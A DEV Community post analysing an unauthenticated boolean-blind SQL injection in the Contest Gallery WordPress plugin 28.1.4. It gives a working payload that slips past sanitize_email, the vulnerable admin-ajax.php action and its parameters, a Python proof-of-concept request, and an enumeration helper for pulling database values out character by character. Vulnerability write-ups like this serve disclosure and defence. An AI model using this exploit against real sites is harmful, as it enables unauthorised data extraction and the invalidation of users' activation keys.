DEV Community

cardoso
cardoso

Posted on

From POC to Patch: Analyzing the Contest Gallery 28.1.4 Vulnerability

The Contest Gallery WordPress plugin, version 28.1.4, contains a critical Boolean-Blind SQL Injection vulnerability in the admin-ajax.php endpoint. An unauthenticated attacker can exploit this flaw to manipulate SQL queries, invalidate user activation keys, and compromise database integrity.

Root Cause

The vulnerability resides in the function responsible for resending confirmation emails (post_cg1l_resend_unconfirmed_mail_frontend). The cgl_mail parameter is received via POST and handled as follows:

$ReceiverMail = sanitize_email($_POST['cgl_mail']);
$wpdb->get_row("SELECT ... WHERE Field_Content = '$ReceiverMail'");

Why sanitize_email() is Insufficient

WordPress's sanitize_email() function validates email format according to RFC 5321, but does NOT escape SQL characters. Worse: the single quote_ (')_ is explicitly allowed in the local part of the email (before the @), enabling arbitrary SQL injection.

Bypass Example:

aaaaaaa'OR/**/1=1#@test.com

_-> survives sanitization_

/**/ -> MySQL comment replaces spaces


OR 1=1 -> always true condition_

# -> comments out the remainder of the query_

Enter fullscreen mode Exit fullscreen mode

Exploitation Explanation (step by step)

The exploitation is Boolean-Blind, meaning the attacker cannot see returned data directly but infers information through differences in HTTP responses (status, body size, application behavior).

Vulnerable Endpoint

POST /wp-admin/admin-ajax.php

Request Parameters:

  • action: post_cg1l_resend_unconfirmed_mail_frontend,description: Routes to vulnerable function
  • cgl_mail: 'OR/**/1=1#@test.com - description : SQL injection vector
  • cgl_page_id: 1 - description Auxiliary parameter
  • cgl_activation_key: description (empty) Not needed for exploit
  • cg_nonce: valid nonce - description CSRF protection (collectable)

Functional Payload

aaaaaaa'OR/**/1=1#@test.com

Original vulnerable query:

SELECT * FROM wp_contest_gal1ery_create_user_entries 
WHERE Field_Content = 'INJECTION_HERE' 
LIMIT 1
Query after injection (TRUE):
Enter fullscreen mode Exit fullscreen mode
SELECT * FROM wp_contest_gal1ery_create_user_entries 
WHERE Field_Content = 'aaaaaaa'OR/**/1=1#@test.com' 
LIMIT 1

Enter fullscreen mode Exit fullscreen mode

WHERE Field_Content = 'aaaaaaa' OR 1=1 -- commented out the rest
Since 1=1 is always true, the query returns the first available record. The plugin then takes this result and generates a new activation_key, invalidating the original key of the affected user.

TRUE vs FALSE Distinction

TRUE :  'OR/**/1=1#@test.com    - Query returns records ---> new activation_key generated
FALSE : 'OR/**/1=2#@test.com    - Query returns empty ---> no plugin action
Enter fullscreen mode Exit fullscreen mode

This behavioral difference enables boolean enumeration (extracting data one bit at a time).

Code Theory Explanation

The exploit implements a boolean-blind probe to detect the vulnerability and demonstrate its impact through behavioral differences between true and false conditions.

Code Structure

def send_payload(mail):
    data = {
        "action": "post_cg1l_resend_unconfirmed_mail_frontend",
        "cgl_mail": mail,
        "cgl_page_id": "1",
        "cgl_activation_key": "",
        "cg_nonce": NONCE,
    }
    return requests.post(URL, data=data)
Enter fullscreen mode Exit fullscreen mode

Why This Structure Works:
Correct endpoint:admin-ajax.php is WordPress's universal AJAX handler

Specific action: post_cg1l_resend_unconfirmed_mail_frontend is registered without authentication (wp_ajax_nopriv_*)

cgl_mail parameter: injection vector that flows directly into the SQL query

Detection Logic

r_true = send_payload("aaaaaaa'OR/**/1=1#@test.com")

if r_true.status_code == 200:
    status_code = r_true.status_code

Enter fullscreen mode Exit fullscreen mode

Boolean-Blind Inference Theory:

Status
'OR//1=1# TRUE Yes Yes 200
'OR/
/1=2# FALSE No No 200 (different body)

Important note: The current code only checks status 200. A complete exploit would compare body length (len(r_true.text)) or specific content.

The "Magic" Payload

payload = "'OR/**/1=1#@test.com' and 'OR/**/1=2#@test.com"

Payload Anatomy:

'OR/**/1=1#@test.com
│  │    │ │
│  │    │ └── # → comments out the rest of the query (including '@test.com' and LIMIT 1)
│  │    └── 1=1 → always true condition
│  └── /**/ → MySQL comment (ignores spaces)
└── ' → closes the query's string literal

Enter fullscreen mode Exit fullscreen mode

What the Code Proves (and what it doesn't yet do)

The vulnerability exists

The payload bypasses sanitize_email()

Status 200 is returned

The endpoint is accessible without authentication

Response comparison (TRUE vs FALSE)

Enumeration loop (character by character)

Extraction of emails, activation_keys, or password hashes

Example Evolution for Enumeration

def boolean_query(condition):
    payload = f"'OR/**/{condition}#@test.com"
    response = send_payload(payload)
    # If body size larger than baseline → TRUE
    return len(response.text) > baseline_length

# Usage: boolean_query("ASCII(SUBSTRING(user_login,1,1))>97")
Enter fullscreen mode Exit fullscreen mode

Theoretical Conclusion

The script serves as a minimum Proof of Concept (PoC) that:

Confirms the existence of SQL injection

Demonstrates sanitize_email() bypass

Establishes the foundation for a complete boolean exploit

Documents the behavioral difference between TRUE and FALSE conditions

Top comments (0)